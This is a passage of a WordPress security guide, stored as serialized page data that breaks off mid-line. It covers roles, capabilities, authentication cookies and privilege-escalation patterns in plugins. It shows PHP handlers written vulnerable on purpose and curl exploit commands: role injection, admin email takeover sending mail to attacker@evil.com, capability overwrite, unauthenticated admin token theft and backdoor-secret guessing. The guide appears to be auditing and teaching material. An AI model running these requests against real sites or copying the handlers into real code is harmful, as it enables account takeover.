Capabilities",[4456,12990,12991,13009,13025,13040,13054],{},[4446,12992,12993,12996],{},[4461,12994,12995],{},"Administrator",[4461,12997,12998,12999,13002,13003,13002,13006],{},"All capabilities, ",[33,13000,13001],{},"manage_options",", ",[33,13004,13005],{},"edit_plugins",[33,13007,13008],{},"install_plugins",[4446,13010,13011,13014],{},[4461,13012,13013],{},"Editor",[4461,13015,13016,13002,13019,13002,13022],{},[33,13017,13018],{},"edit_others_posts",[33,13020,13021],{},"publish_posts",[33,13023,13024],{},"manage_categories",[4446,13026,13027,13030],{},[4461,13028,13029],{},"Author",[4461,13031,13032,13002,13034,13002,13037],{},[33,13033,13021],{},[33,13035,13036],{},"edit_published_posts",[33,13038,13039],{},"upload_files",[4446,13041,13042,13045],{},[4461,13043,13044],{},"Contributor",[4461,13046,13047,13050,13051],{},[33,13048,13049],{},"edit_posts"," (not publish), ",[33,13052,13053],{},"delete_posts",[4446,13055,13056,13059],{},[4461,13057,13058],{},"Subscriber",[4461,13060,13061,13064],{},[33,13062,13063],{},"read"," only",[14,13066,13067,13068,13070],{},"Capabilities are stored in ",[33,13069,5006],{}," as a serialized array:",[26,13072,13075],{"className":13073,"code":13074,"language":7026},[7024],"meta_key: wp_capabilities\nmeta_value: a:1:{s:13:\"administrator\";b:1;}\n",[33,13076,13074],{"__ignoreMap":31},[14,13078,13079,13080,13083,13084,13002,13087,13083,13090,13093],{},"The database prefix affects the key name (e.g., ",[33,13081,13082],{},"wp_capabilities"," for prefix ",[33,13085,13086],{},"wp_",[33,13088,13089],{},"mysite_capabilities",[33,13091,13092],{},"mysite_",").",[18,13095,13097],{"id":13096},"current_user_can-and-how-it-works","current_user_can() and How It Works",[26,13099,13101],{"className":177,"code":13100,"language":179,"meta":31,"style":31},"\u002F\u002F Check a role name (not recommended - check capabilities instead)\ncurrent_user_can( 'administrator' );\n\n\u002F\u002F Check specific capabilities (correct approach)\ncurrent_user_can( 'manage_options' );     \u002F\u002F Admin only\ncurrent_user_can( 'edit_posts' );         \u002F\u002F Author+\ncurrent_user_can( 'read' );               \u002F\u002F Subscriber+\ncurrent_user_can( 'edit_post', $post_id ); \u002F\u002F With context (meta capability)\n\n\u002F\u002F Check on behalf of another user\nuser_can( $user_id, 'edit_posts' );\n",[33,13102,13103,13108,13113,13117,13122,13127,13132,13137,13142,13146,13151],{"__ignoreMap":31},[36,13104,13105],{"class":38,"line":39},[36,13106,13107],{},"\u002F\u002F Check a role name (not recommended - check capabilities instead)\n",[36,13109,13110],{"class":38,"line":46},[36,13111,13112],{},"current_user_can( 'administrator' );\n",[36,13114,13115],{"class":38,"line":57},[36,13116,61],{"emptyLinePlaceholder":60},[36,13118,13119],{"class":38,"line":64},[36,13120,13121],{},"\u002F\u002F Check specific capabilities (correct approach)\n",[36,13123,13124],{"class":38,"line":70},[36,13125,13126],{},"current_user_can( 'manage_options' );     \u002F\u002F Admin only\n",[36,13128,13129],{"class":38,"line":78},[36,13130,13131],{},"current_user_can( 'edit_posts' );         \u002F\u002F Author+\n",[36,13133,13134],{"class":38,"line":83},[36,13135,13136],{},"current_user_can( 'read' );               \u002F\u002F Subscriber+\n",[36,13138,13139],{"class":38,"line":89},[36,13140,13141],{},"current_user_can( 'edit_post', $post_id ); \u002F\u002F With context (meta capability)\n",[36,13143,13144],{"class":38,"line":115},[36,13145,61],{"emptyLinePlaceholder":60},[36,13147,13148],{"class":38,"line":133},[36,13149,13150],{},"\u002F\u002F Check on behalf of another user\n",[36,13152,13153],{"class":38,"line":138},[36,13154,13155],{},"user_can( $user_id, 'edit_posts' );\n",[14,13157,13158,13159,13002,13162,13165,13166,13169],{},"Meta capabilities (like ",[33,13160,13161],{},"edit_post",[33,13163,13164],{},"delete_post",") are mapped to primitive capabilities via the ",[33,13167,13168],{},"map_meta_cap"," filter. Plugins can register custom capabilities:",[26,13171,13173],{"className":177,"code":13172,"language":179,"meta":31,"style":31},"\u002F\u002F Adding custom capability to a role\n$role = get_role( 'editor' );\n$role->add_cap( 'manage_plugin_settings' );\n\n\u002F\u002F Checking custom capability\nif ( ! current_user_can( 'manage_plugin_settings' ) ) {\n    wp_die( 'Unauthorized' );\n}\n",[33,13174,13175,13180,13185,13190,13194,13199,13204,13209],{"__ignoreMap":31},[36,13176,13177],{"class":38,"line":39},[36,13178,13179],{},"\u002F\u002F Adding custom capability to a role\n",[36,13181,13182],{"class":38,"line":46},[36,13183,13184],{},"$role = get_role( 'editor' );\n",[36,13186,13187],{"class":38,"line":57},[36,13188,13189],{},"$role->add_cap( 'manage_plugin_settings' );\n",[36,13191,13192],{"class":38,"line":64},[36,13193,61],{"emptyLinePlaceholder":60},[36,13195,13196],{"class":38,"line":70},[36,13197,13198],{},"\u002F\u002F Checking custom capability\n",[36,13200,13201],{"class":38,"line":78},[36,13202,13203],{},"if ( ! current_user_can( 'manage_plugin_settings' ) ) {\n",[36,13205,13206],{"class":38,"line":83},[36,13207,13208],{},"    wp_die( 'Unauthorized' );\n",[36,13210,13211],{"class":38,"line":89},[36,13212,323],{},[18,13214,13216],{"id":13215},"cookie-based-authentication-internals","Cookie-Based Authentication Internals",[14,13218,13219],{},"WordPress uses two cookies for authentication:",[2706,13221,13222,13228],{},[2709,13223,13224,13227],{},[33,13225,13226],{},"wordpress_logged_in_{COOKIEHASH}"," - Present on all pages, contains username + token",[2709,13229,13230,13233,13234],{},[33,13231,13232],{},"wordpress_{COOKIEHASH}"," - Secure cookie, present only in ",[33,13235,13236],{},"\u002Fwp-admin\u002F",[14,13238,361,13239,13242,13243,13246],{},[33,13240,13241],{},"COOKIEHASH"," is ",[33,13244,13245],{},"md5(siteurl)",".",[14,13248,13249,13250],{},"Cookie format: ",[33,13251,13252],{},"username|expiration|token|hmac",[14,13254,13255,13256,3435,13259,4521,13262,13265],{},"The HMAC uses the ",[33,13257,13258],{},"logged_in_key",[33,13260,13261],{},"logged_in_salt",[33,13263,13264],{},"wp-config.php",", combined with the user's password hash and the session token.",[26,13267,13269],{"className":28,"code":13268,"language":30,"meta":31,"style":31},"# Extract cookies from a login\ncurl -v -c \u002Ftmp\u002Fwp_cookies.txt -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-login.php' \\\n  -d 'log=admin&pwd=password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1' \\\n  -H 'Cookie: wordpress_test_cookie=WP+Cookie+check' 2>&1 | grep \"Set-Cookie\"\n\n# Inspect the cookie value\ncat \u002Ftmp\u002Fwp_cookies.txt | grep wordpress_logged_in\n",[33,13270,13271,13276,13294,13302,13319,13323,13328],{"__ignoreMap":31},[36,13272,13273],{"class":38,"line":39},[36,13274,13275],{"class":42},"# Extract cookies from a login\n",[36,13277,13278,13280,13282,13284,13286,13288,13290,13292],{"class":38,"line":46},[36,13279,92],{"class":49},[36,13281,555],{"class":95},[36,13283,164],{"class":95},[36,13285,712],{"class":53},[36,13287,792],{"class":95},[36,13289,795],{"class":53},[36,13291,3281],{"class":53},[36,13293,155],{"class":95},[36,13295,13296,13298,13300],{"class":38,"line":57},[36,13297,818],{"class":95},[36,13299,3290],{"class":53},[36,13301,155],{"class":95},[36,13303,13304,13306,13309,13312,13314,13316],{"class":38,"line":64},[36,13305,755],{"class":95},[36,13307,13308],{"class":53}," 'Cookie: wordpress_test_cookie=WP+Cookie+check'",[36,13310,13311],{"class":102}," 2>&1",[36,13313,103],{"class":102},[36,13315,617],{"class":49},[36,13317,13318],{"class":53}," \"Set-Cookie\"\n",[36,13320,13321],{"class":38,"line":70},[36,13322,61],{"emptyLinePlaceholder":60},[36,13324,13325],{"class":38,"line":78},[36,13326,13327],{"class":42},"# Inspect the cookie value\n",[36,13329,13330,13333,13335,13337,13339],{"class":38,"line":83},[36,13331,13332],{"class":49},"cat",[36,13334,712],{"class":53},[36,13336,103],{"class":102},[36,13338,617],{"class":49},[36,13340,13341],{"class":53}," wordpress_logged_in\n",[18,13343,13345],{"id":13344},"privilege-escalation-patterns","Privilege Escalation Patterns",[684,13347,13349],{"id":13348},"pattern-1-user-registration-with-elevated-role","Pattern 1: User Registration with Elevated Role",[14,13351,13352],{},"Plugins that extend the registration flow may allow role parameter injection:",[26,13354,13356],{"className":177,"code":13355,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Trusts role from POST data\nadd_action( 'user_register', function( $user_id ) {\n    $role = sanitize_text_field( $_POST['role'] );\n    \u002F\u002F Developer intended to set a default role\n    \u002F\u002F but attacker can POST role=administrator\n    $user = new WP_User( $user_id );\n    $user->set_role( $role );\n});\n",[33,13357,13358,13363,13368,13373,13378,13383,13388,13393],{"__ignoreMap":31},[36,13359,13360],{"class":38,"line":39},[36,13361,13362],{},"\u002F\u002F VULNERABLE: Trusts role from POST data\n",[36,13364,13365],{"class":38,"line":46},[36,13366,13367],{},"add_action( 'user_register', function( $user_id ) {\n",[36,13369,13370],{"class":38,"line":57},[36,13371,13372],{},"    $role = sanitize_text_field( $_POST['role'] );\n",[36,13374,13375],{"class":38,"line":64},[36,13376,13377],{},"    \u002F\u002F Developer intended to set a default role\n",[36,13379,13380],{"class":38,"line":70},[36,13381,13382],{},"    \u002F\u002F but attacker can POST role=administrator\n",[36,13384,13385],{"class":38,"line":78},[36,13386,13387],{},"    $user = new WP_User( $user_id );\n",[36,13389,13390],{"class":38,"line":83},[36,13391,13392],{},"    $user->set_role( $role );\n",[36,13394,13395],{"class":38,"line":89},[36,13396,300],{},[14,13398,3495],{},[26,13400,13402],{"className":28,"code":13401,"language":30,"meta":31,"style":31},"# Register with elevated role\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-login.php?action=register' \\\n  -d 'user_login=attacker&user_email=attacker@evil.com&role=administrator'\n\n# Alternatively, test the plugin's custom registration endpoint\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d 'action=custom_register&username=attacker&email=attacker@evil.com&role=administrator'\n",[33,13403,13404,13409,13424,13431,13435,13440,13454],{"__ignoreMap":31},[36,13405,13406],{"class":38,"line":39},[36,13407,13408],{"class":42},"# Register with elevated role\n",[36,13410,13411,13413,13415,13417,13419,13422],{"class":38,"line":46},[36,13412,92],{"class":49},[36,13414,96],{"class":95},[36,13416,792],{"class":95},[36,13418,795],{"class":53},[36,13420,13421],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-login.php?action=register'",[36,13423,155],{"class":95},[36,13425,13426,13428],{"class":38,"line":57},[36,13427,818],{"class":95},[36,13429,13430],{"class":53}," 'user_login=attacker&user_email=attacker@evil.com&role=administrator'\n",[36,13432,13433],{"class":38,"line":64},[36,13434,61],{"emptyLinePlaceholder":60},[36,13436,13437],{"class":38,"line":70},[36,13438,13439],{"class":42},"# Alternatively, test the plugin's custom registration endpoint\n",[36,13441,13442,13444,13446,13448,13450,13452],{"class":38,"line":78},[36,13443,92],{"class":49},[36,13445,96],{"class":95},[36,13447,792],{"class":95},[36,13449,795],{"class":53},[36,13451,3208],{"class":53},[36,13453,155],{"class":95},[36,13455,13456,13458],{"class":38,"line":83},[36,13457,818],{"class":95},[36,13459,13460],{"class":53}," 'action=custom_register&username=attacker&email=attacker@evil.com&role=administrator'\n",[26,13462,13464],{"className":28,"code":13463,"language":30,"meta":31,"style":31},"# Grep pattern\ngrep -rn \"set_role\\|add_role\\|\\$_POST.*role\\|\\$_GET.*role\" \\\n  \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F --include=\"*.php\" -n | \\\n  grep -v \"current_user_can\\|manage_options\"\n",[33,13465,13466,13471,13492,13507],{"__ignoreMap":31},[36,13467,13468],{"class":38,"line":39},[36,13469,13470],{"class":42},"# Grep pattern\n",[36,13472,13473,13475,13477,13480,13482,13485,13487,13490],{"class":38,"line":46},[36,13474,490],{"class":49},[36,13476,493],{"class":95},[36,13478,13479],{"class":53}," \"set_role\\|add_role\\|",[36,13481,4591],{"class":95},[36,13483,13484],{"class":53},"_POST.*role\\|",[36,13486,4591],{"class":95},[36,13488,13489],{"class":53},"_GET.*role\"",[36,13491,155],{"class":95},[36,13493,13494,13497,13499,13501,13503,13505],{"class":38,"line":57},[36,13495,13496],{"class":53},"  \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F",[36,13498,502],{"class":95},[36,13500,540],{"class":53},[36,13502,1229],{"class":95},[36,13504,103],{"class":102},[36,13506,155],{"class":95},[36,13508,13509,13511,13513],{"class":38,"line":64},[36,13510,552],{"class":49},[36,13512,555],{"class":95},[36,13514,13515],{"class":53}," \"current_user_can\\|manage_options\"\n",[684,13517,13519],{"id":13518},"pattern-2-account-takeover-via-email-change","Pattern 2: Account Takeover via Email Change",[14,13521,13522],{},"Plugins that change user email without ownership verification:",[26,13524,13526],{"className":177,"code":13525,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Subscriber can change any user's email\nadd_action( 'wp_ajax_update_email', function() {\n    check_ajax_referer( 'update_email' );\n    \u002F\u002F Missing: check that $user_id belongs to current user\n    $user_id = intval( $_POST['user_id'] );\n    $email   = sanitize_email( $_POST['email'] );\n    wp_update_user([\n        'ID'         => $user_id,\n        'user_email' => $email,\n    ]);\n    wp_die();\n});\n",[33,13527,13528,13533,13538,13543,13548,13552,13557,13562,13567,13572,13577,13581],{"__ignoreMap":31},[36,13529,13530],{"class":38,"line":39},[36,13531,13532],{},"\u002F\u002F VULNERABLE: Subscriber can change any user's email\n",[36,13534,13535],{"class":38,"line":46},[36,13536,13537],{},"add_action( 'wp_ajax_update_email', function() {\n",[36,13539,13540],{"class":38,"line":57},[36,13541,13542],{},"    check_ajax_referer( 'update_email' );\n",[36,13544,13545],{"class":38,"line":64},[36,13546,13547],{},"    \u002F\u002F Missing: check that $user_id belongs to current user\n",[36,13549,13550],{"class":38,"line":70},[36,13551,3473],{},[36,13553,13554],{"class":38,"line":78},[36,13555,13556],{},"    $email   = sanitize_email( $_POST['email'] );\n",[36,13558,13559],{"class":38,"line":83},[36,13560,13561],{},"    wp_update_user([\n",[36,13563,13564],{"class":38,"line":89},[36,13565,13566],{},"        'ID'         => $user_id,\n",[36,13568,13569],{"class":38,"line":115},[36,13570,13571],{},"        'user_email' => $email,\n",[36,13573,13574],{"class":38,"line":133},[36,13575,13576],{},"    ]);\n",[36,13578,13579],{"class":38,"line":138},[36,13580,2856],{},[36,13582,13583],{"class":38,"line":144},[36,13584,300],{},[14,13586,13587],{},"Once the email is changed, the attacker can trigger password reset to their email.",[26,13589,13591],{"className":28,"code":13590,"language":30,"meta":31,"style":31},"# Step 1: Change admin email (requires knowing admin user ID, typically 1)\ncurl -s -b \u002Ftmp\u002Fsubscriber_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d \"action=update_email&nonce=EXTRACTED_NONCE&user_id=1&email=attacker@evil.com\"\n\n# Step 2: Trigger password reset to attacker's email\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-login.php?action=lostpassword' \\\n  -d 'user_login=admin&redirect_to='\n",[33,13592,13593,13598,13615,13621,13628,13632,13637,13652],{"__ignoreMap":31},[36,13594,13595],{"class":38,"line":39},[36,13596,13597],{"class":42},"# Step 1: Change admin email (requires knowing admin user ID, typically 1)\n",[36,13599,13600,13602,13604,13606,13609,13611,13613],{"class":38,"line":46},[36,13601,92],{"class":49},[36,13603,96],{"class":95},[36,13605,709],{"class":95},[36,13607,13608],{"class":53}," \u002Ftmp\u002Fsubscriber_cookies.txt",[36,13610,792],{"class":95},[36,13612,795],{"class":53},[36,13614,155],{"class":95},[36,13616,13617,13619],{"class":38,"line":57},[36,13618,3329],{"class":53},[36,13620,155],{"class":95},[36,13622,13623,13625],{"class":38,"line":64},[36,13624,818],{"class":95},[36,13626,13627],{"class":53}," \"action=update_email&nonce=EXTRACTED_NONCE&user_id=1&email=attacker@evil.com\"\n",[36,13629,13630],{"class":38,"line":70},[36,13631,61],{"emptyLinePlaceholder":60},[36,13633,13634],{"class":38,"line":78},[36,13635,13636],{"class":42},"# Step 2: Trigger password reset to attacker's email\n",[36,13638,13639,13641,13643,13645,13647,13650],{"class":38,"line":83},[36,13640,92],{"class":49},[36,13642,96],{"class":95},[36,13644,792],{"class":95},[36,13646,795],{"class":53},[36,13648,13649],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-login.php?action=lostpassword'",[36,13651,155],{"class":95},[36,13653,13654,13656],{"class":38,"line":89},[36,13655,818],{"class":95},[36,13657,13658],{"class":53}," 'user_login=admin&redirect_to='\n",[684,13660,13662],{"id":13661},"pattern-3-missing-capability-check-on-privileged-operations","Pattern 3: Missing Capability Check on Privileged Operations",[26,13664,13666],{"className":177,"code":13665,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Nonce present, but only checks login status\nadd_action( 'wp_ajax_install_plugin', function() {\n    check_ajax_referer( 'install_plugin_nonce' );\n    \u002F\u002F Should check: current_user_can( 'install_plugins' )\n    $plugin_url = esc_url_raw( $_POST['plugin_url'] );\n    \u002F\u002F Installs arbitrary plugin from URL\n    $result = install_plugin_from_url( $plugin_url );\n    wp_send_json_success( $result );\n});\n",[33,13667,13668,13673,13678,13683,13688,13693,13698,13703,13708],{"__ignoreMap":31},[36,13669,13670],{"class":38,"line":39},[36,13671,13672],{},"\u002F\u002F VULNERABLE: Nonce present, but only checks login status\n",[36,13674,13675],{"class":38,"line":46},[36,13676,13677],{},"add_action( 'wp_ajax_install_plugin', function() {\n",[36,13679,13680],{"class":38,"line":57},[36,13681,13682],{},"    check_ajax_referer( 'install_plugin_nonce' );\n",[36,13684,13685],{"class":38,"line":64},[36,13686,13687],{},"    \u002F\u002F Should check: current_user_can( 'install_plugins' )\n",[36,13689,13690],{"class":38,"line":70},[36,13691,13692],{},"    $plugin_url = esc_url_raw( $_POST['plugin_url'] );\n",[36,13694,13695],{"class":38,"line":78},[36,13696,13697],{},"    \u002F\u002F Installs arbitrary plugin from URL\n",[36,13699,13700],{"class":38,"line":83},[36,13701,13702],{},"    $result = install_plugin_from_url( $plugin_url );\n",[36,13704,13705],{"class":38,"line":89},[36,13706,13707],{},"    wp_send_json_success( $result );\n",[36,13709,13710],{"class":38,"line":115},[36,13711,300],{},[14,13713,13714],{},"Any logged-in subscriber can install arbitrary plugins.",[684,13716,13718],{"id":13717},"pattern-4-update_user_meta-without-ownership-check","Pattern 4: update_user_meta Without Ownership Check",[26,13720,13722],{"className":177,"code":13721,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Allows updating any user's meta including capabilities\nadd_action( 'wp_ajax_save_profile', function() {\n    check_ajax_referer( 'save_profile' );\n    $user_id  = intval( $_POST['user_id'] ); \u002F\u002F Should be get_current_user_id()\n    $meta_key = sanitize_key( $_POST['meta_key'] );\n    $meta_val = sanitize_text_field( $_POST['meta_value'] );\n    update_user_meta( $user_id, $meta_key, $meta_val );\n    wp_die();\n});\n",[33,13723,13724,13729,13734,13739,13744,13749,13754,13759,13763],{"__ignoreMap":31},[36,13725,13726],{"class":38,"line":39},[36,13727,13728],{},"\u002F\u002F VULNERABLE: Allows updating any user's meta including capabilities\n",[36,13730,13731],{"class":38,"line":46},[36,13732,13733],{},"add_action( 'wp_ajax_save_profile', function() {\n",[36,13735,13736],{"class":38,"line":57},[36,13737,13738],{},"    check_ajax_referer( 'save_profile' );\n",[36,13740,13741],{"class":38,"line":64},[36,13742,13743],{},"    $user_id  = intval( $_POST['user_id'] ); \u002F\u002F Should be get_current_user_id()\n",[36,13745,13746],{"class":38,"line":70},[36,13747,13748],{},"    $meta_key = sanitize_key( $_POST['meta_key'] );\n",[36,13750,13751],{"class":38,"line":78},[36,13752,13753],{},"    $meta_val = sanitize_text_field( $_POST['meta_value'] );\n",[36,13755,13756],{"class":38,"line":83},[36,13757,13758],{},"    update_user_meta( $user_id, $meta_key, $meta_val );\n",[36,13760,13761],{"class":38,"line":89},[36,13762,2856],{},[36,13764,13765],{"class":38,"line":115},[36,13766,300],{},[14,13768,13769,13770,13772],{},"Exploit: update ",[33,13771,13082],{}," for user ID 1 (admin) OR update own capabilities:",[26,13774,13776],{"className":28,"code":13775,"language":30,"meta":31,"style":31},"# Update own capabilities to add administrator\nMY_USER_ID=5  # The subscriber's user ID\n\ncurl -s -b \u002Ftmp\u002Fsubscriber_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d \"action=save_profile&nonce=NONCE&user_id=$MY_USER_ID&meta_key=wp_capabilities&meta_value=a:1:{s:13:\\\"administrator\\\";b:1;}\"\n",[33,13777,13778,13783,13796,13800,13816,13822],{"__ignoreMap":31},[36,13779,13780],{"class":38,"line":39},[36,13781,13782],{"class":42},"# Update own capabilities to add administrator\n",[36,13784,13785,13788,13790,13793],{"class":38,"line":46},[36,13786,13787],{"class":605},"MY_USER_ID",[36,13789,1220],{"class":102},[36,13791,13792],{"class":53},"5",[36,13794,13795],{"class":42},"  # The subscriber's user ID\n",[36,13797,13798],{"class":38,"line":57},[36,13799,61],{"emptyLinePlaceholder":60},[36,13801,13802,13804,13806,13808,13810,13812,13814],{"class":38,"line":64},[36,13803,92],{"class":49},[36,13805,96],{"class":95},[36,13807,709],{"class":95},[36,13809,13608],{"class":53},[36,13811,792],{"class":95},[36,13813,795],{"class":53},[36,13815,155],{"class":95},[36,13817,13818,13820],{"class":38,"line":70},[36,13819,3329],{"class":53},[36,13821,155],{"class":95},[36,13823,13824,13826,13829,13832,13835,13837,13840,13842],{"class":38,"line":78},[36,13825,818],{"class":95},[36,13827,13828],{"class":53}," \"action=save_profile&nonce=NONCE&user_id=",[36,13830,13831],{"class":605},"$MY_USER_ID",[36,13833,13834],{"class":53},"&meta_key=wp_capabilities&meta_value=a:1:{s:13:",[36,13836,1498],{"class":95},[36,13838,13839],{"class":53},"administrator",[36,13841,1498],{"class":95},[36,13843,13844],{"class":53},";b:1;}\"\n",[684,13846,13848],{"id":13847},"pattern-5-auto-login-token-generation-for-any-user","Pattern 5: Auto-Login Token Generation for Any User",[26,13850,13852],{"className":177,"code":13851,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Generates login token for arbitrary user ID\nadd_action( 'wp_ajax_nopriv_auto_login', function() {\n    $user_id = intval( $_GET['user_id'] );\n    \u002F\u002F Generates a magic login link for ANY user\n    $token   = get_password_reset_key( get_user_by( 'id', $user_id ) );\n    $url     = add_query_arg([\n        'action' => 'rp',\n        'key'    => $token,\n        'login'  => get_user_by( 'id', $user_id )->user_login,\n    ], wp_login_url() );\n    wp_send_json_success([ 'login_url' => $url ]);\n});\n",[33,13853,13854,13859,13864,13869,13874,13879,13884,13889,13894,13899,13904,13909],{"__ignoreMap":31},[36,13855,13856],{"class":38,"line":39},[36,13857,13858],{},"\u002F\u002F VULNERABLE: Generates login token for arbitrary user ID\n",[36,13860,13861],{"class":38,"line":46},[36,13862,13863],{},"add_action( 'wp_ajax_nopriv_auto_login', function() {\n",[36,13865,13866],{"class":38,"line":57},[36,13867,13868],{},"    $user_id = intval( $_GET['user_id'] );\n",[36,13870,13871],{"class":38,"line":64},[36,13872,13873],{},"    \u002F\u002F Generates a magic login link for ANY user\n",[36,13875,13876],{"class":38,"line":70},[36,13877,13878],{},"    $token   = get_password_reset_key( get_user_by( 'id', $user_id ) );\n",[36,13880,13881],{"class":38,"line":78},[36,13882,13883],{},"    $url     = add_query_arg([\n",[36,13885,13886],{"class":38,"line":83},[36,13887,13888],{},"        'action' => 'rp',\n",[36,13890,13891],{"class":38,"line":89},[36,13892,13893],{},"        'key'    => $token,\n",[36,13895,13896],{"class":38,"line":115},[36,13897,13898],{},"        'login'  => get_user_by( 'id', $user_id )->user_login,\n",[36,13900,13901],{"class":38,"line":133},[36,13902,13903],{},"    ], wp_login_url() );\n",[36,13905,13906],{"class":38,"line":138},[36,13907,13908],{},"    wp_send_json_success([ 'login_url' => $url ]);\n",[36,13910,13911],{"class":38,"line":144},[36,13912,300],{},[26,13914,13916],{"className":28,"code":13915,"language":30,"meta":31,"style":31},"# Get admin password reset token without any authentication\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php?action=auto_login&user_id=1'\n# Returns a complete login URL for the admin account\n",[33,13917,13918,13923,13932],{"__ignoreMap":31},[36,13919,13920],{"class":38,"line":39},[36,13921,13922],{"class":42},"# Get admin password reset token without any authentication\n",[36,13924,13925,13927,13929],{"class":38,"line":46},[36,13926,92],{"class":49},[36,13928,96],{"class":95},[36,13930,13931],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php?action=auto_login&user_id=1'\n",[36,13933,13934],{"class":38,"line":57},[36,13935,13936],{"class":42},"# Returns a complete login URL for the admin account\n",[684,13938,13940],{"id":13939},"pattern-6-wp_insert_user-wp_create_user-misuse","Pattern 6: wp_insert_user \u002F wp_create_user Misuse",[26,13942,13944],{"className":177,"code":13943,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Creates administrator during plugin activation or via nopriv action\nadd_action( 'wp_ajax_nopriv_create_backup_admin', function() {\n    $secret = $_POST['secret'];\n    if ( $secret === get_option('plugin_setup_secret') ) {\n        $user_id = wp_create_user( 'backup_admin', 'Password123!', 'backup@site.com' );\n        $user    = new WP_User( $user_id );\n        $user->set_role( 'administrator' );\n        wp_send_json_success([ 'user_id' => $user_id ]);\n    }\n});\n",[33,13945,13946,13951,13956,13961,13966,13971,13976,13981,13986,13990],{"__ignoreMap":31},[36,13947,13948],{"class":38,"line":39},[36,13949,13950],{},"\u002F\u002F VULNERABLE: Creates administrator during plugin activation or via nopriv action\n",[36,13952,13953],{"class":38,"line":46},[36,13954,13955],{},"add_action( 'wp_ajax_nopriv_create_backup_admin', function() {\n",[36,13957,13958],{"class":38,"line":57},[36,13959,13960],{},"    $secret = $_POST['secret'];\n",[36,13962,13963],{"class":38,"line":64},[36,13964,13965],{},"    if ( $secret === get_option('plugin_setup_secret') ) {\n",[36,13967,13968],{"class":38,"line":70},[36,13969,13970],{},"        $user_id = wp_create_user( 'backup_admin', 'Password123!', 'backup@site.com' );\n",[36,13972,13973],{"class":38,"line":78},[36,13974,13975],{},"        $user    = new WP_User( $user_id );\n",[36,13977,13978],{"class":38,"line":83},[36,13979,13980],{},"        $user->set_role( 'administrator' );\n",[36,13982,13983],{"class":38,"line":89},[36,13984,13985],{},"        wp_send_json_success([ 'user_id' => $user_id ]);\n",[36,13987,13988],{"class":38,"line":115},[36,13989,1622],{},[36,13991,13992],{"class":38,"line":133},[36,13993,300],{},[14,13995,13996],{},"If the secret is weak or discoverable, this creates a backdoor admin account.",[26,13998,14000],{"className":28,"code":13999,"language":30,"meta":31,"style":31},"# Discover the setup secret\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d 'action=create_backup_admin&secret=setup'\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d 'action=create_backup_admin&secret=admin'\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d 'action=create_backup_admin&secret=123456'\n",[33,14001,14002,14007,14021,14028,14042,14049,14063],{"__ignoreMap":31},[36,14003,14004],{"class":38,"line":39},[36,14005,14006],{"class":42},"# Discover the setup secret\n",[36,14008,14009,14011,14013,14015,14017,14019],{"class":38,"line":46},[36,14010,92],{"class":49},[36,14012,96],{"class":95},[36,14014,792],{"class":95},[36,14016,795],{"class":53},[36,14018,3208],{"class":53},[36,14020,155],{"class":95},[36,14022,14023,14025],{"class":38,"line":57},[36,14024,818],{"class":95},[36,14026,14027],{"class":53}," 'action=create_backup_admin&secret=setup'\n",[36,14029,14030,14032,14034,14036,14038,14040],{"class":38,"line":64},[36,14031,92],{"class":49},[36,14033,96],{"class":95},[36,14035,792],{"class":95},[36,14037,795],{"class":53},[36,14039,3208],{"class":53},[36,14041,155],{"class":95},[36,14043,14044,14046],{"class":38,"line":70},[36,14045,818],{"class":95},[36,14047,14048],{"class":53}," 'action=create_backup_admin&secret=admin'\n",[36,14050,14051,14053,14055,14057,14059,14061],{"class":38,"line":78},[36,14052,92],{"class":49},[36,14054,96],{"class":95},[36,14056,792],{"class":95},[36,14058,795],{"class":53},[36,14060,3208],{"class":53},[36,14062,155],{"class":95},[36,14064,14065,14067],{"class":38,"line":83},[36,14066,818],{"class":95},[36,14068,14069],{"class":53}," 'action=create_backup_admin&secret=123456'\n",[684,14071,14073],{"id":14072},"pattern-7-privilege-escalation-via-user-meta-in-rest-api","Pattern 7: Privilege Escalation via User Meta in REST API",[26,14075,14077],{"className":177,"code":14076,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: REST API allows setting arbitrary user meta\nregister_rest_route( 'my-plugin\u002Fv1', '\u002Fprofile', [\n    'methods'             => 'POST',\n    'callback'            => function( WP_REST_Request $r ) {\n        $data = $r->get_json_params();\n        foreach ( $data as $key => $val ) {\n            \u002F\u002F No blocklist for sensitive meta keys\n            update_user_meta( get_current_user_id(), sanitize_key($key), $val );\n        }\n        return rest_ensure_response(['updated' => true]);\n    },\n    'permission_callback' => 'is_user_logged_in',\n]);\n",[33,14078,14079,14084,14089,14093,14098,14103,14108,14113,14118,14123,14128,14132,14136],{"__ignoreMap":31},[36,14080,14081],{"class":38,"line":39},[36,14082,14083],{},"\u002F\u002F VULNERABLE: REST API allows setting arbitrary user 